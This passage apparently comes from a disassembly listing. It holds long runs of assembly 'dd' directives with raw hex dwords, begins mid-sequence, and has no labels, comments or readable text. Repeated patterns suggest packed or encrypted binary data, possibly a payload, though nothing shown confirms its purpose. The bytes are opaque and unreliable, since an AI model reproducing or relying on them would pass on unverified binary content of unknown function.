4DBD3D10h dd 67D75849h, 53C3422Fh, 7C6756DDh, 4405B841h, 97A8A1B9h dd 8D3Fh, 0C7245B00h, 0EE558757h, 1086F2ABh, 0DB76F0E9h dd 0AB6712Fh, 575FA39h, 0E04E3C11h, 868C3E65h, 14BB3A10h dd 0A897C835h, 0D1746A97h, 10868088h, 0B6268673h, 97A08F80h dd 5F9174F2h, 2814F64Ch, 1, 55C52404h, 0A9F05389h, 0EB1086F2h dd 9290DB39h, 0A08D3336h, 0EA80AF1Fh, 42B2372Ch, 78D95F54h dd 48BADF66h, 70411086h, 86488CD5h, 805E6F10h, 86489CC5h dd 614E5F10h, 8B32B935h, 714DBD3Ch, 0B951C140h, 76E645DAh dd 0C624999Fh, 0EE536056h, 4670E062h, 5B586649h, 8A8466D6h dd 0D2716BEFh, 1086F28Fh, 0D6565D6Eh, 0AB5F3066h, 8CEED904h dd 93F1421Ch, 1B34A407h, 2D48221Bh, 4AB21021h, 201BEDF2h dd 0FA90BF35h, 4C4ABA39h, 0EB4AD657h, 7C423B7Bh, 86A080C9h dd 755A6B10h, 0E7F5C741h, 86A0355Ch, 3E7B810h, 0F528218Ch dd 3B97A86Dh, 0A0h, 56C6244Fh, 0B4357E60h, 0F2A9F053h dd 43541086h, 89552A6Ch, 86F297BAh, 0A5455610h, 9D990964h dd 80B62684h, 75A11173h, 0EFF4DBD2h, 0DF13BA21h, 86E773D2h dd 0FD3916h, 0D949A96Ah, 0E151AC05h, 35B56A09h, 60E0D1C5h dd 64C5EEF0h, 1DCDC2F4h, 0AF1E99EFh, 0A81C3F9Ah, 66A597h dd 8EA30000h, 28AAC72Fh, 0C1EE2209h, 33D7A8EEh, 0B68D4FFFh dd 1086F293h, 70A1495Ah, 0C29CA212h, 86F2DE03h, 41883B10h dd 2C1086F2h, 0C394A51Bh, 8C96B217h, 0C745251Dh, 0ACEA5ADAh dd 0D8EFDE4Bh, 1D0BEA5Ah, 6155C524h, 86F2BAE2h, 8E41B810h dd 0A81A2EBBh, 0EB697h, 0BFF40000h, 51F4CA3Ah, 1086FE08h dd 0D44822F3h, 8461C924h, 0AC5F275Eh, 0F060DDD6h, 0D8E6C9C6h dd 0B1E555DBh, 0F3002EDCh, 0FF62090h, 359037A6h, 0B68A30C5h dd 0F87BB886h, 979F0F6Ch, 0BF8D89A6h, 86EBDD04h, 0A08FA010h dd 75D174CAh, 8169BE5h, 204C813Fh, 54B0F129h, 0B2E4CBE4h dd 43D242C1h, 171F8FECh, 933C779Ch, 218CFD16h, 61E445A6h dd 16933C38h, 42C1F2C3h, 0B18FDD2h, 0E5FE38A8h, 69201686h dd 0E94A7D30h, 0A4099C79h, 2C9DBDE8h, 11Bh, 0DB0BAB00h dd 56FCD903h, 2A2457ABh, 84F4CFBBh, 39169B21h, 0B6352E68h dd 380AF46h, 2D8EA393h, 7CBE79BDh, 5046B637h, 0B9248B7Fh dd 213DAD0Eh, 0AA40B010h, 0F553D6CBh, 53D99DBDh, 0AD000000h dd 56ED0EABh, 1086F233h, 0F8C6E9BAh, 86F2244Dh, 0C0F6C790h dd 86F21C45h, 7F5D5F90h, 86F29DC4h, 9B4F6090h, 0B485C9F4h dd 0E60BBA84h, 851086F2h, 2B89AAB4h, 39B89CBBh, 0C3E3782Dh dd 98684C27h, 66000000h, 3B7BEB4Dh, 3B777542h, 2B569256h dd 0BABDB3Fh, 0D8D903DBh, 0D5AAEC5Ch, 1E959DEh, 9C0616A2h dd 20162716h, 0B540B013h, 0C910B3A9h, 0B41693E6h, 0A90A07E3h dd 5476FD39h, 1C1693E6h, 2685426Dh, 99A5159Ah, 93E4E72Ah dd 9AB58616h, 9D0D6FC4h, 0A7C6A499h, 2F0F3FFFh, 0B665F994h dd 6BAB7C10h, 9185F576h, 16DC03B2h, 5F753841h, 522B6BDBh dd 830AD85h, 58883862h, 0F2EBF86h, 0ABAD1A92h, 0CB0FF118h dd 288F7C02h, 0AE817EB8h, 0FEC3590h, 0BE8F02CBh, 4F380491h dd 0F293B68Dh, 70CD1086h, 87391600h, 89A6169Ah, 0D707B7E1h dd 73A13C07h, 132416A3h, 3DAD0E23h, 0F868CB58h, 8A9337BEh dd 6ACD26ACh, 44A7BCFAh, 6E27E2D4h, 0C910B33Fh, 0B406C368h dd 0DD44CCE3h, 0EE56D5F2h, 8B6A455Bh, 60351A7Eh, 88E470D3h dd 0F2FF3718h, 1D181E8Eh, 2586416Ch, 0F053E0B5h, 32E9680h dd 0A000000h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h dd 57783C7Ah, 0BE56E789h, 6BEB01F9h, 5040CE81h, 0F681732Ah dd 1D6720C6h, 3AEE814Eh, 1668C71h, 0EF835EF7h, 243C8704h dd 4EC835Ch, 68240489h, 531Dh, 52241489h, 0B53929BAh, 0B9514213h dd 2B1F275Ah, 0AD0C181h, 0F18139BEh, 54B173Bh, 4A59CA01h dd 52F2814Ah, 897357DFh, 0EC835AD0h, 24248904h, 4240483h dd 0B951505Ah, 68764B6Bh, 4244C29h, 8428F59h, 6B084281h dd 8B68764Bh, 89532414h, 4C381E3h, 83000000h, 1C8704C3h dd 48B5C24h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h dd 0F8F7A1E9h, 85E3F9FFh, 0A18C1FB6h, 0B8C4838Ch, 61C8608h dd 0E0FFC503h, 0E8FEF64h, 7F23BDEh, 0C9EFBE8h, 0FAC4ABBh dd 5608109Ah, 2B498740h, 24FD04h, 87D4085h, 1DF6A901h dd 35A7D945h, 747A3BD3h, 21B19C4Eh, 57A36605h, 5A242A02h dd 60550AF5h, 58B812EAh, 6FEECC7Bh, 6DC8BD77h, 5F65B789h dd 1F37E8DCh, 11BA4508h, 8415203h, 4991D1B3h, 4BAD2A0h dd 482C647Dh, 657722B2h, 1150D7D8h, 1D1778B9h, 3EF23DF9h dd 4E260581h, 51279F83h, 0ECE9h, 0 dd 81063700h, 81CE037Ch, 80C0587Ch, 9010057Ch, 9010ED7Ch dd 0F200007Ch, 276h, 5 dup(0) dd 80ADA000h, 7Ch, 2Bh dup(0) dd 600h, 39E71400h, 7F2D0C16h, 0A8334978h, 5F0CC31Ch, 0FC3BAC33h dd 15662234h, 7B651D4h, 0A8E5B419h, 13734CC7h, 966F5732h dd 65BC8Fh, 0C128834h, 0D5ED1762h, 1562338Ah, 90E39832h dd 98609D21h, 2CCDAAFh, 4EB5DD34h, 0B8DB926Ah, 15609D31h dd 46365346h, 1562338Ah, 90E39832h, 98609D21h, 2C1C9AFh dd 4EB5DD34h, 7306E86Ah, 940049B9h, 74FAEDEAh, 11ED72CEh dd 11A29216h, 156681DBh, 3EED1832h, 0CA8DA4C5h, 0A8E5D9E3h dd 137A0F50h, 5CE24B32h, 0ED662232h, 0A8E39CCAh, 1A609409h dd 15664AB2h, 156FCB32h, 75E71132h, 0EDE0FAE2h, 0EA4FA50Ah dd 1561CBE2h, 57081132h, 12EE9FC5h, 0F8E3C9CAh, 0EC603E09h dd 48FC1CDh, 0EB668832h, 0EEDA8AEh, 460072EFh, 0AD4B9EE2h dd 0FDE88F9Ch, 1CA3C1F4h, 75302427h, 9E000D81h, 9669E9F5h dd 15664433h, 0AD344ACBh, 138F8D9Ah, 63668832h, 0B8CB7CD6h dd 4D3DDA2h, 7560041Ah, 98DA1B8Ch, 1568AD1Bh, 45962232h dd 191D3801h, 4F2A7381h, 774BAD81h, 156BCB53h, 54031132h dd 772BD2FCh, 7C453635h, 985E7E91h, 0D14ADB7h, 0C5997134h dd 1577AD52h, 0C0802232h, 80B22E08h, 0E5F9FB45h, 0D7FB1884h dd 754F69E0h, 0FDA19A54h, 1566883Ah, 0C1D8F977h, 0A606F8E8h dd 9C07706Bh, 4241B7h, 14EE4B34h, 0EC662232h, 0B0394F5h dd 15668E27h, 9C694432h, 15662239h, 33869152h, 15660F3Dh dd 0D3074432h, 6FE7B7h, 188F5434h, 30668832h, 0C6A715CAh dd 7BD85578h, 3E0AD7A4h, 670FE15Ah, 14E74BBCh, 0ED662232h dd 3E3A4CDh, 0E0068E27h, 98074682h, 5D1AB7h, 94007134h dd 940432DBh, 5447CDF2h, 0C5994328h, 156E9E3Dh, 90698832h dd 15664430h, 9E694352h, 15661133h, 28E301C7h, 7560511Bh dd 5AD39854h, 1565993Dh, 9E008832h, 90A025E4h, 13732BF7h dd 19E71E71h, 0FC668832h, 15664435h, 17BD5688h, 7D233E49h dd 8901E36Ch, 1561C43Dh, 91692232h, 15661133h, 90D377CEh dd 1A605124h, 156623B3h, 90EBE932h, 1373B30Ah, 15664EDBh dd 263A6E32h, 7BD500C7h, 0EA37FB43h, 90EFBDE2h, 137AA578h dd 10E71E52h, 73668832h, 9FA58EB3h, 1560A53Dh, 93691132h dd 15668832h, 0D0E38253h, 4160373Bh, 156E9E3Dh, 90698832h dd 15664430h, 3C0E4352h, 1A88735Ah, 156686BBh, 156FAD32h dd 77462232h, 853D986Eh, 0EADF072Eh, 70C187h, 90EBDB34h dd 13732A0Ah, 1570013Dh, 9D694432h, 15662222h, 15661ADBh dd 0CF9A9732h, 9C87DC40h, 0A1178B24h, 198FC1CDh, 21668832h dd 85EE3E2Dh, 60688AB1h, 9C7D7F8Fh, 9E1C6B7h, 90A0BC34h dd 13732BF7h, 9E007177h, 7D0771F3h, 0CF067CF0h, 15662FDBh dd 0A0B75332h, 89037D2Dh, 0C255924Fh, 0A0998938h, 137307B7h dd 157261CBh, 0B2FD4432h, 6C801A25h, 0B7A065C5h, 0C59B9C88h dd 9279F3BBh, 90EB0BA5h, 13732A0Ah, 156683DBh, 53B92E32h dd 3EC53C56h, 0F55D241Dh, 0F2E7EE52h, 0EA0785B1h, 90EFDAE2h dd 137A9660h, 15668EDBh, 0C6484932h, 96B02FDBh, 4BA48Fh dd 90698834h, 15664503h, 1577CBCEh, 68031132h, 0A9861C57h dd 2642BD10h, 9080EE8Fh, 0D3DE64A9h, 6F4DB7h, 75060134h dd 759D953Dh, 94007053h, 742AB0D2h, 3518C25Ah, 156BCBC8h dd 71221132h, 73D03206h, 37481EDBh, 0EA44EF31h, 709487h dd 17E18734h, 75664432h, 2E72D53h, 75661132h, 156687DAh dd 9C571832h, 0FCDD8FF4h, 0E29005B7h, 0C25E96D9h, 90EB2568h dd 1373190Ah, 1561973Dh, 96698832h, 15664433h, 0FCB6DDCEh dd 15661139h, 0C3EF29E1h, 494475D5h, 0FC9CC07Bh, 15661139h dd 0C02184DDh, 4167D653h, 9C832EC7h, 9E147B7h, 90A07134h dd 13734DF7h, 9669427Eh, 15661133h, 157261CEh, 42394432h dd 0A0A45CFAh, 3D3B6BF0h, 13D6C834h, 0CDFCA72Ah, 7D07E8A3h dd 0F540C1F1h, 15760D3Dh, 1E8F4432h, 78662232h, 1BBB5040h dd 85D20962h, 0A099A22Dh, 137334B7h, 73A79A52h, 378256B3h dd 90EBBD53h, 1373190Ah, 15661BDBh, 0DBB9EA32h, 117CA0BAh dd 0EA6D9EA5h, 90EFE8E2h, 137A0F68h, 15664DDBh, 0DC9E4F32h dd 8F1980B5h, 0FC9F0FCEh, 15664481h, 0D0E3E4CEh, 4760043Bh dd 0F16BE0C7h, 9869F878h, 15662233h, 0D3EECAh, 0ED609D22h dd 2E5EC1BFh, 0EC062427h, 74ADA63Dh, 450658CDh, 733D2552h dd 7421408Bh, 923094BBh, 0E9068E2Eh, 744294B2h, 1CA3A7F4h dd 1A341727h, 156689B4h, 5D0EB832h, 75C06E78h, 0EA07CCB8h dd 769D87h, 156AAD34h, 60562232h, 80A300FDh, 4D948D4Ch dd 90EB8AF4h, 1373190Ah, 17EC1E52h, 47668832h, 3081C56Bh dd 740C6DC0h, 1F8FC1CDh, 80668832h, 0CE6F8ABCh, 895B17F3h dd 4FE398E7h, 756094B5h, 156655DBh, 0DFBB4732h, 7AA3E25Dh dd 9ABD17F6h, 0FE90A4BCh, 0D307571Dh, 6FD4B7h, 68FDA34h dd 79664432h, 0F720A701h, 0D1A62913h, 833BF87Ch, 0F4643D59h dd 0FF0ED0A1h, 0E99B5386h, 90D377CEh, 0E9605124h, 2E5EA7BFh dd 0EA9A1727h, 90EF74E2h, 13736A0Bh, 0F3E77352h, 56A7FA54h dd 0E7E7EE6Bh, 75075485h, 44A19D3Dh, 743E7052h, 1CA30DF4h dd 1A114227h, 156623B7h, 0B60EE932h, 1A951F9Ah, 156651B6h dd 1576CB32h, 23171132h, 0E575FD2Eh, 98B9B3A8h, 4E84529Fh dd 0A0998981h, 13738FBBh, 2DE3C9CBh, 1A603709h, 156606BDh dd 15746132h, 215B4432h, 5826BB2Fh, 0CD69FD52h, 68082FDEh dd 95957852h, 6888A352h, 0FC76752Dh, 15668838h, 9797C9E9h dd 9C0DA445h, 0EA07307Ah, 2EF87E2h, 0FC664432h, 15662220h dd 0C27FADFFh, 0D1CB11D2h, 7B843157h, 0CA735DE0h, 90EFDEE9h dd 1373BBB7h, 0CCB5C452h, 3A84A354h, 90A070DFh, 137381F7h dd 99692460h, 15662234h, 15669A3Dh, 48F8832h, 3A664432h dd 0F578C18Eh, 0EE2A5B94h, 87A9A805h, 5B7D827Dh, 24714A53h dd 97699BEFh, 15668837h, 0C2D14B52h, 90D3DD53h, 75600424h dd 95A5373Dh, 9807C5E7h, 5D1AB7h, 0EA9EED34h, 9C9370E2h dd 65DDB7h, 0FE42D34h, 75661132h, 157461C7h, 0ED914432h dd 0A629E721h, 0C19FE37Eh, 86CE460Dh, 0B7B5BDF9h, 0D0E3E453h dd 4360043Bh, 785FE0CEh, 9C69902Dh, 15662233h, 4D3EECBh dd 75609D1Ah, 156656DAh, 0A4D8B232h, 8DC347B6h, 9DC9B958h dd 4B7F91BDh, 4CBDAF47h, 0CBB49054h, 9A69E969h, 1566443Bh dd 5B95A252h, 8148AB54h, 0A9E30553h, 0E0605C40h, 1C8FF2CDh dd 0E6661132h, 807EF0AAh, 6AF04D61h, 1337A7BBh, 99691727h dd 15668833h, 1568ADCAh, 0A2EB2232h, 906BCFF1h, 0D90C9D82h dd 2C0D9297h, 1CA3A7F4h, 0FC211727h, 15668835h, 0EAEAE22h dd 7D1BA74Ah, 94BA0148h, 90D377C7h, 75605124h, 1AB6A954h dd 9807E885h, 5DB0B7h, 138FB834h, 0B7662232h, 0ADE531E9h dd 75B67706h, 6BA4C554h, 11BFA31Dh, 743F17BAh, 3FF30DBBh dd 9A694227h, 15662238h, 156614DBh, 4632FF32h, 90A019ECh dd 13732BF7h, 1563F875h, 27A98832h, 7D503AE6h, 9F6997D0h dd 1567983Dh, 0EA9F8832h, 70C187h, 1EEA2D34h, 0FC661132h dd 15668834h, 5C43CF14h, 90EB516Bh, 13732A0Ah, 156F6152h dd 7E3C4432h, 0E21C3E1Fh, 0E993DA0Dh, 75B67753h, 1A9FCF54h dd 9C07D48Dh, 9E16BB7h, 959FE834h, 0D20744FEh, 74B7B7h dd 15666934h dd 0A8E57032h, 137355F3h, 13E22D32h, 7566112Bh, 0AE8D0954h dd 0CCD14B72h, 0D0E3E453h, 5960043Bh, 749D0352h, 0CF7AAD5Ah dd 0A099D7EBh, 137307B7h, 2DE305CAh, 0FC605109h, 15662234h dd 0BDA53839h, 0C599C47Ch, 15664ADBh, 57A75C32h, 0B5667FF2h dd 8AF24272h, 0FC3742D9h, 1566223Fh, 34ABC193h, 9F3B3443h dd 0B05CFFFAh, 73E3AB46h, 0E0600DB5h, 157E013Dh, 68F4432h dd 33662232h, 81A7C918h, 0DA08A11Eh, 0F9429042h, 35181461h dd 90A0B73Eh, 137381F7h, 0DB0EBD7Eh, 0ECBB56ECh, 157E953Dh dd 95698832h, 15664420h, 15662FDBh, 0FCFF032h, 19D25565h dd 0EB671828h, 0A0991D9Dh, 137307B7h, 9E00E8C7h, 74A3CEF5h dd 2E5EA7BFh, 73061727h, 198E46B9h, 53664432h, 5F8D91CEh dd 0C19B212Dh, 0FC04E7E1h, 1566443Ch, 0A871F0C4h, 0BB65847Ah dd 21D2CDEAh, 743E4678h, 18FF2CDh, 0A4661132h, 98FADD19h dd 6A1E41AEh, 89AAB189h, 3FBAF268h, 9CC892A4h, 9E12EB7h dd 156ACB34h, 641E1132h, 0E5E263E7h, 0D3047697h, 90A06742h dd 137318F7h, 2A0E7D7Eh, 0FCD1C5B0h, 15662220h, 0E646FA23h dd 2F394496h, 0F9132343h, 0EB0067E0h, 0A0991994h, 13739EB7h dd 156CCF3Dh, 1A062232h, 156611B0h, 7407E832h, 2E5EC1BFh dd 0EA932427h, 1A3771E2h, 156688BDh, 9C071F32h, 9E14CB7h dd 18E7134h, 1668832h, 82A444F2h, 0C0D1ADC8h, 976B4CA3h dd 0E1542749h, 9ED1B3D0h, 0AB0078C1h, 0D3075E52h, 6F4DB7h dd 78F0834h, 6A662232h, 0AF497B44h, 0E6E8E82Dh, 8D41E908h dd 0C5E1704Eh, 557E79C1h, 9B693B1Dh, 15664420h, 15662FDBh dd 33F58432h, 880D6237h, 0ECEA7335h, 0A099F76Ch, 137307B7h dd 15670D3Dh, 989A4432h, 5D1AB7h, 19E91E34h, 0FC668832h dd 15664435h, 60435D10h, 0EA2FD690h, 198FE8E2h, 57664432h dd 2B526AB4h, 0E47468Ch, 0ED043151h, 7BE3CD53h, 1A603EB5h dd 156610B5h, 90A07432h, 13734DF7h, 9E934274h, 10E70E2h dd 0FCDC5634h, 15664434h, 0B27ED8C4h, 0A099D0F8h, 13739EB7h dd 156649DBh, 0A7BAE932h, 8E220C73h, 47D3DA58h, 90EB1094h dd 1373190Ah, 9E69E952h, 15668837h, 0A497888Ch, 0C5994375h dd 156601DBh, 9731C132h, 0D7293DFh, 9E7B7C83h, 529E1A18h dd 63E301C3h, 1A6058B5h, 156623BDh, 90A0E432h, 137381F7h dd 6F0EBC75h, 0EDE7FE22h, 15661CDBh, 282EB32h, 0A622317Dh dd 0E05B06A1h, 0A0995949h, 13739EB7h, 156643DBh, 0B8EC3232h dd 0CCD37285h, 2E5E0DBFh, 98694227h, 1566223Eh, 15609C3Dh dd 9C698832h, 15664432h, 9C93F2CDh, 9E16FB7h, 19E98734h dd 1A664432h, 156624B6h, 15EF1E32h, 0D3668832h, 6F81B7h dd 9C696534h, 15661133h, 9BCAE0C7h, 188FABB5h, 72662232h dd 6B7055F0h, 0FAFE9832h, 3D2BDCFCh, 3E397CDh, 0AC061727h dd 3ECB7469h, 2DE3C953h, 1A603709h, 156610BCh, 0EA9A7132h dd 90EFB1E2h, 137AA5B0h, 0D0E3D7CAh, 52609D3Bh, 0B2B42CCEh dd 0AD06F6A8h, 59B39351h, 0E9643754h, 90D3BB53h, 0FC603724h dd 1566113Eh, 4AA2274Fh, 0DE81C4D0h, 0E85EB68Fh, 2E5E94BFh dd 1C8F8E27h, 0D2664432h, 9B695049h, 4DF33652h, 976958CDh dd 1566443Eh, 1560AB3Dh, 9A691132h, 15668832h, 92E0C1BBh dd 7306242Eh, 0D47EC7B3h, 15668DDAh, 5D7B5932h, 0AE00BAC7h dd 743C2D14h, 1CA30DF4h, 1A214227h, 156623BEh, 110EE932h dd 1ADC490Bh, 15664CBFh, 17ED2D32h, 75661132h, 90D37753h dd 1A605124h, 15662EBAh, 13E31E32h, 1A668832h, 156644B6h dd 14E92D32h, 0E9661132h, 2E5E0DBFh, 97694227h, 15662238h dd 156614DBh, 6D7FCF32h, 0C5997ED1h, 15662ADBh, 21083D32h dd 8C1034C6h, 9FE3CDD9h, 75603EB5h, 0FCA5AE3Dh, 15668820h dd 8A2760E5h, 528F9FCCh, 0F164ABDAh, 224F7F26h, 1A07C7DCh dd 156633B6h, 156AF832h, 0BDDB8832h, 569CA78Ah, 7B7BF130h dd 0A8E54189h, 137390F3h, 0A2E34B32h, 75662232h, 9BAE9054h dd 74A9032Bh, 1CA3C1F4h, 75212427h, 0E7656689h, 0CE48738h dd 0FD664432h, 15662221h, 6289C68Ch, 0F3C2B57Fh, 5EC39F9Fh dd 0BD076918h, 4F24D45Eh, 15686153h, 91414432h, 0D3A46BCEh dd 3E34E9E2h, 0E3482ECEh, 674B235Ah, 1560CBD2h, 8DB41132h dd 4D780373h, 3E3F1CDh, 188F2427h, 7C661132h, 78DD308h dd 1FE0A0D6h, 0C30AA186h, 1567933Dh, 989A8832h, 5D7CB7h dd 0A7064234h, 0CFE7774Ah, 74077FF2h, 996994CDh, 15662225h dd 156603DBh, 0FAD01D32h, 2584ABAEh, 703E8574h, 583CDF73h dd 9C148F50h, 9E1CAB7h, 95064234h, 0A60727C1h, 90A0E9F4h dd 13734DF7h, 1EA2D75h, 1A661132h, 156686B4h, 156FAD32h dd 74572232h, 60880024h, 7D87A9AFh, 9B4FF783h, 1B8F42CAh dd 7A661132h, 0E8EF6EFAh, 4BA85941h, 8CE36EAEh, 0D7ED77AAh dd 90D37753h, 0FC605124h, 15662234h, 0D599D18Bh, 90EB0C37h dd 13737F0Ah, 13E72D52h, 1A661132h, 156688B7h, 0E5DD2232h dd 0C599437Eh, 45DF7752h, 0E4880991h, 7437D3FBh, 157DA03Dh dd 0FD061132h, 15668823h, 0F7E6B367h, 0F01D9239h, 2FEAF381h dd 0B99D5B52h, 80D31E43h, 87E3AB53h, 0EC600DB5h, 1CA30DF4h dd 0FC254227h, 15662220h, 104B5B53h, 0E31A949Dh, 3C282B5Dh dd 602E37Ah, 0B20E5683h, 75A6FE78h, 15664EDAh, 18EC5232h dd 39376CCBh, 958C1586h, 0AD39A4E3h, 3079F3Eh, 156AF853h dd 50228832h, 0E2647B4Ah, 55431265h, 0A09937EBh, 13739EB7h dd 0E7ED2252h, 90EB43C7h, 13732A0Ah, 0FCB677CAh, 15664422h dd 0A65DFC3Bh, 0CD904ECAh, 0F479090Fh, 0AD90BB34h, 92F0A7BBh dd 9169172Eh, 15668838h, 156641DBh, 79CB5332h, 90A0A16Ah dd 137381F7h, 1DEE4B7Eh, 1A662232h, 156613BAh, 7D07E832h dd 0EE0028D9h, 156633DBh, 744D1C32h, 9580A9BAh, 8937C909h dd 0D3B16D9Bh, 0A0992161h, 13738FBBh, 0DDD14B52h, 62D19D54h dd 14EB1E53h, 0EC668832h, 2E5EC1BFh, 0AE062427h, 2116FBFAh dd 74BE0354h, 128F94CDh, 16662232h, 0C013079Fh, 90EF44E5h dd 137ACC18h, 0DE52DCAh, 0FC661132h, 15668821h, 4247BF44h dd 6EB63D18h, 0DC8636F7h, 0FD80312Dh, 0D33A5661h, 6FE7B7h dd 7D9E5534h, 0AE150667h, 90D3BBCAh, 75603724h, 2DE39C53h dd 75609D09h, 1574AC52h, 973A2232h, 5DFD23C6h, 258D8901h dd 0FAF3F8DBh, 0F719CB37h, 15EF1E6Ch, 74668832h, 75B6BB53h dd 1568CB63h, 38261132h, 6E9B4961h, 156D56C2h, 1C33855h dd 0FD06706Ch, 15668837h, 2B87A374h, 0DBD92DF3h, 0B2BC916Bh dd 8FE30153h, 1A6058B5h, 15663AB2h, 7E61E32h, 0FC668832h dd 1566443Fh, 6618794Dh, 1E3B7E66h, 844C4117h, 0D0E382F6h dd 5660373Bh, 58A89052h, 1A5D6082h, 156646B4h, 74A9A832h dd 9B08ED5Ah, 1561618Eh, 0AE214432h, 5AEA0F29h, 90D3EEA2h dd 75609D24h, 74B4FB3Dh, 2E5EA7BFh, 0AD061727h, 526B83BAh dd 0EA078AB9h, 14EB2DE2h, 0ED661132h, 92F80DBBh, 1C8F422Eh dd 98662232h, 283598D6h, 0B0638B28h, 1CA3C1F4h, 0FC352427h dd 15661122h, 0F5EDCBCBh, 9CA7233Fh, 0EC684604h, 2DA0CB8Ah dd 558225Ah, 0DDED24F4h, 156630DBh, 8EA75832h, 31140603h dd 3FDB5D80h, 0C3C107Fh, 74644BA7h, 3E33DCDh, 989F4227h dd 5D1AB7h, 0DEC1E34h dd 0FC668832h, 15664421h, 26CC98F2h, 66169559h, 2CF02394h dd 0FCF1031Ch, 1A202FEBh, 156616B1h, 14E38732h, 0E0664432h dd 1A06F2CDh, 156617BBh, 15E78732h, 1A664432h, 9C07D285h dd 9E1B3B7h, 7335E834h, 4DE6628Dh, 9607B880h, 7A948Fh dd 91698834h, 156647C8h, 1576CB52h, 65451132h, 2D84EFEAh dd 13483239h, 20CB524Ch, 0AC001103h, 0D307B36Ch, 6F81B7h dd 7D936434h, 0EFF0DF03h, 90D377CEh, 75605124h, 0F016C58Ah dd 1A07E949h, 156690B0h, 1575AD32h, 688A2232h, 453F05D4h dd 87F90D10h, 97EF914Dh, 4C8DDA2Dh, 2DE39CCFh, 0FC609D09h dd 1566443Dh, 0B9329093h, 97BE340Ah, 0A3E99AAh, 0FCB4330Ch dd 15662226h, 2F891500h, 354593D3h, 1049FFC9h, 0FBF3171Bh dd 0D0034583h, 730658CDh, 196392B3h, 3DADC1B3h, 9C075200h dd 9E176B7h, 68F2434h, 91662232h, 0C3231307h, 0EE568579h dd 98434319h, 0E8F318B9h, 9400EFD5h, 7460C3D5h, 1CA3C1F4h dd 75202427h, 7D076781h, 0E9C1B2E4h, 14EF4BCBh, 0EC662232h dd 3E3A4CDh, 95698E27h, 15664435h, 1567AA3Dh, 989A1132h dd 5DB0B7h, 0A1312434h, 0EA077C54h, 14E11EE2h, 0E0668832h dd 9D68C1BBh, 7506242Eh, 156601DAh, 5FD8B332h, 1B28BEC6h dd 3418BB31h, 0EC2F944Eh, 0C7E7D343h, 65BB1195h, 78D84453h dd 90A070CAh, 137381F7h, 1561AD74h, 8FF12232h, 0C56CCB16h dd 0B166E04Eh, 9469D6CEh, 15662227h, 156601DBh, 7BE93332h dd 4FCF6567h, 5EAE985Ch, 502F487Dh, 90D37799h, 1A605124h dd 156624BEh, 1A9F7132h, 98077E8Dh, 5D7CB7h, 0DCE74234h dd 7F29B4FCh, 156684DBh, 6B091B32h, 1430EA0Dh, 6DB7BE02h dd 0C599E959h, 156DC43Dh, 138F2232h, 0E9661132h, 9951076h dd 7E3CDB2h, 0ED603EBAh, 1CA394F4h, 1A208E27h, 15665FB3h dd 78F4232h, 3E661132h, 875AF993h, 60F66E1Ch, 7EC17D1Dh dd 827C786Ah, 7439DF70h, 0C1292E5Ah, 940042C4h, 736552DCh dd 0CBF550B3h, 90D3BB53h, 0FC603724h, 15661120h, 0FB88EBCh dd 0E7248FD4h, 6E57FCEDh, 253BC386h, 90EB9219h, 13737F0Ah dd 156EA33Dh, 1A061132h, 156688B7h, 198F2532h, 0DB662232h dd 0DCF57722h, 8C74F6AAh, 0EA6F6B3Dh, 14E32DE2h, 0E0661132h dd 9D700DBBh, 9369422Eh, 15662233h, 90A0E9CAh, 137381F7h dd 7D9AB174h, 81AB72D5h, 1568F852h, 22118832h, 7D1576CEh dd 4A860F15h, 44B00ADCh, 15669BDBh, 23CFD132h, 710E1876h dd 9DE0A3Ah, 0F6B6DF25h, 0DB89060h, 90D3DD53h, 0FC600424h dd 1566883Bh, 0BC3362D1h, 10F310C4h, 2DE39C35h, 1A609D09h dd 156645B3h, 0C599DA32h, 74B79A52h, 9D640DBBh, 1E8F422Eh dd 0B0662232h, 6DA4426Ah, 0F00857F0h, 90A0B8FAh, 13732BF7h dd 1F8F7174h, 0CC668832h, 15AF4FF3h, 7E27DA87h, 1572F890h dd 0C5718832h, 0F33DC311h, 0DE8BECD8h, 51AECC71h, 0D70B6ED6h dd 7D07D830h, 0A4445609h, 156601DBh, 5BF65532h, 0BA1988F6h dd 95E5CAC4h, 0FE0D09CCh, 90D377F0h, 1A605124h, 156623B9h dd 90EBE832h, 1373B30Ah, 156656DBh, 0B1688B32h, 4FED7C8Bh dd 436EB1AAh, 50539D73h, 0EAF0C3FDh, 0DCE771E2h, 7BE7FB72h dd 74A4FB3Dh, 9D60A7BBh, 9C69172Eh, 15668820h, 1563AC52h dd 33D72232h, 4FA335E9h, 5EBC0954h, 18F2525h, 0C5662232h dd 4A6D0EB9h, 0BCA91551h, 4525D4FAh, 0C60EFDDEh, 0D3CA9F91h dd 6F4DB7h, 0AE060234h, 709985A3h, 156600DAh, 0EA2D1032h dd 76666397h, 0F301EEFEh, 0E7F7414Ch, 9469103Eh, 15664432h dd 0F80E436Bh, 0FCB968D8h, 15668835h, 0C712B7C2h, 0EA50752Fh dd 709487h, 68F7134h, 9A664432h, 0EA17679h, 0BA76DC6Bh dd 287D2383h, 5D8E81A0h, 90EB72E4h, 13732A0Ah, 1567063Dh dd 0EA9F4432h, 19EC2DE2h, 1A661132h, 15668EB7h, 15EF4B32h dd 9C662232h, 9EE1BB7h, 156A6134h, 6BA54432h, 23C1A19h dd 15040D47h, 0A8E5CB26h, 13735CF3h, 62E32D32h, 0FC661132h dd 15668834h, 2C60932h, 90A0E989h, 137318F7h, 9400E861h dd 74CE2CD9h, 1563A63Dh, 73061132h, 7D075FB9h, 0DBD8A46Ch dd 1561AF3Dh, 1A061132h, 0EBED7F8Dh, 90D3BB53h, 75603724h dd 8E16A954h, 0A78359B3h, 98076162h, 5D1AB7h, 90697134h dd 15668834h, 75D5A4B3h, 749E486Eh, 0ECB6EECEh, 92C00DBBh dd 9C69422Eh, 15662238h, 0CFED7752h, 0B950954h, 90A0251Bh dd 13732BF7h, 1560F875h, 0C01A8832h, 91E588FAh, 0A438A55Ah dd 6EB1EF5h, 0FC668832h, 1566443Ch, 0E456C17Ch, 341ACCFDh dd 59321A20h, 0A0999E6Fh, 137334B7h, 156617DBh, 0F760D232h dd 98A9E553h, 5D1AB7h, 138FE934h, 40668832h, 9EA681C8h dd 0FCB6DD9Dh, 15661122h, 675D6BDh, 0CF56E244h, 986ABFFCh dd 6DAA3EBEh, 92CC0DBBh, 48F422Eh, 0F0662232h, 0F6B5B93Ch dd 32E16795h, 0FB6A2C20h, 